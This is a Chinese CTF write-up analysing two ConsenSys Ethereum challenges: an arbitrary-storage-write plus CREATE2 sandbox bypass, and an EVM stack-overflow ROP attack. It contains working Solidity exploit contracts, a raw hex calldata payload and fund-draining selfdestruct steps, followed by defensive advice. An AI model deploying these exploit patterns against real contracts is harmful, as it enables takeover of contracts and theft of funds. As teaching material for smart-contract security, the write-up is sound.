ConsenSys两道CTF区块链题目分析
字数 1385 2025-08-22 12:22:43
ConsenSys CTF 区块链题目深度分析
题目一:Ethereum Sandbox 漏洞利用
合约概述
目标合约地址:0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a
合约包含以下关键存储变量:
uint256[] stor_write_what_where_gadget(STORAGE[0x0])uint256[] stor_owners(STORAGE[0x1])
关键函数分析
1. write_what_where_gadget 函数
function write_what_where_gadget() public {
require(!msg.value);
require((msg.data.length() - 0x4) >= 0x40);
v1200x149 = msg.data[v1200x131];
v1200x14d = v1200x131 + 32;
require((msg.data[v1200x14d] < stor_write_what_where_gadget.length));
stor_write_what_where_gadget[msg.data[v1200x14d]] = v1200x149;
exit();
}
漏洞点:这是一个"任意写"原语,允许攻击者修改存储数组中的任意位置。
2. fun_sandbox 函数
function fun_sandbox(address varg0) public {
// 检查调用者是否是owner
require(v289_1); // 必须为owner
// 检查目标合约字节码
bytes memory code = address(target).code;
for (int index = 0; index < code.length; index++) {
require(code[index] != 0xf0); // CREATE
require(code[index] != 0xf1); // CALL
require(code[index] != 0xf2); // CALLCODE
require(code[index] != 0xf4); // DELEGATECALL
require(code[index] != 0xfa); // STATICCALL
require(code[index] != 0xff); // SELFDESTRUCT
}
// 执行delegatecall
address(varg0).delegatecall(...);
}
关键限制:禁止使用常见危险操作码,但未禁止0xf5(CREATE2)。
攻击步骤
-
获取所有权:
- 利用
write_what_where_gadget函数修改stor_owners数组,将自己的地址添加为owner
- 利用
-
绕过沙箱限制:
- 使用CREATE2操作码(0xf5)创建合约,因为它不在黑名单中
-
执行攻击:
- 通过
fun_sandbox函数调用攻击合约
- 通过
攻击合约示例
StorageWriter 合约(汇编实现)
contract StorageWriter {
constructor() public payable {
assembly {
mstore(0x00, 0x348055327f0b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fc)
mstore(0x20, 0xbe2b7fa0cf601002600601550000000000000000000000000000000000000000)
return(0x00, 0x40)
}
}
}
Locker 合约
contract Locker {
CTFAPI private constant CTF = CTFAPI(0x68Cb858247ef5c4A0D0Cde9d6F68Dce93e49c02A);
constructor() public payable {
require(tx.origin == 0x5CD5e9e5D251bF23c7238d1972e45A707594F2A0);
// 修改owner
address(CTF).call(abi.encodeWithSelector(
0x4214352d,
uint(address(this)),
uint(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6-0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563)
));
// 调用沙箱函数
StorageWriter locker = new StorageWriter();
address(CTF).call(abi.encodeWithSelector(0x2918435f, locker));
// 清理
selfdestruct(tx.origin);
}
}
题目二:堆栈溢出攻击
合约概述
目标合约地址:0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87
关键存储变量:
uint256 unknown(STORAGE[0x0])uint256 die(STORAGE[0x20])
关键函数分析
1. die() 函数
function die() public {
require(msg.sender == storage_20);
selfdestruct(storage_20);
}
目标:需要将攻击者地址写入storage_20。
2. set(uint256) 函数
function set(uint256 value) public {
storage_00 = address(value);
}
3. 0x7909947a() 函数
function 0x7909947a() public {
memory[0x100] = 0x100;
// 复制数据到内存
memcpy(memory[0x90000], msg.data[0x44], msg.data.length-0x44);
// 堆栈操作
stack_push_frame();
stack_push(irrelevant_lbl);
stack_push(0x90000);
stack_push(var1);
stack_push(msg.data.length - 0x44);
stack_push(0x00);
// 实现函数
0x7909947a_impl();
}
漏洞点:存在堆栈溢出漏洞,可以通过精心构造的输入覆盖返回地址。
攻击步骤
-
构造恶意payload:
- 覆盖堆栈帧指针,使其指向攻击者控制的内存区域
- 设置伪造的返回地址指向set_impl函数
-
执行ROP攻击:
- 通过伪造的堆栈帧调用set_impl
- 将攻击者地址写入storage_20
-
调用die()函数:
- 触发selfdestruct将资金转移到攻击者地址
攻击payload示例
7909947a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009014000000000000000000000000000000000000000000000000000000000000002ea00000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000ff00000000000000000000000000000000000000000000000000000000000003440000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D9380000000000000000000000000000000000000000000000000000000000000020
攻击合约示例
contract Solver {
constructor(bytes memory data) public payable {
// 执行攻击
(bool result, ) = address(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).call(data);
require(result);
// 触发die函数
Target(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).die();
// 转移资金
require(address(this).balance > 0);
selfdestruct(msg.sender);
}
}
关键知识点总结
-
任意写漏洞:
- 通过不安全的存储访问模式实现存储任意修改
- 可用于修改合约关键状态如owner地址
-
沙箱绕过技巧:
- 操作码黑名单的局限性
- 利用未列入黑名单的操作码(CREATE2)执行攻击
-
堆栈溢出攻击:
- 通过精心构造的输入覆盖返回地址
- 实现ROP(Return-Oriented Programming)攻击
-
合约交互模式:
- 使用低级call与目标合约交互
- 处理返回值和异常
-
自毁合约设计:
- 攻击完成后清理痕迹
- 资金转移的安全考虑
防御建议
-
输入验证:
- 严格检查所有输入参数的范围和有效性
- 避免不安全的存储访问模式
-
沙箱设计:
- 采用白名单而非黑名单策略
- 考虑所有可能的操作码变体
-
堆栈保护:
- 限制输入数据大小
- 使用安全的堆栈操作模式
-
权限控制:
- 使用成熟的权限控制模式如OpenZeppelin的Ownable
- 避免直接的状态变量修改
-
静态分析:
- 使用工具检查合约中的危险模式
- 进行充分的测试和审计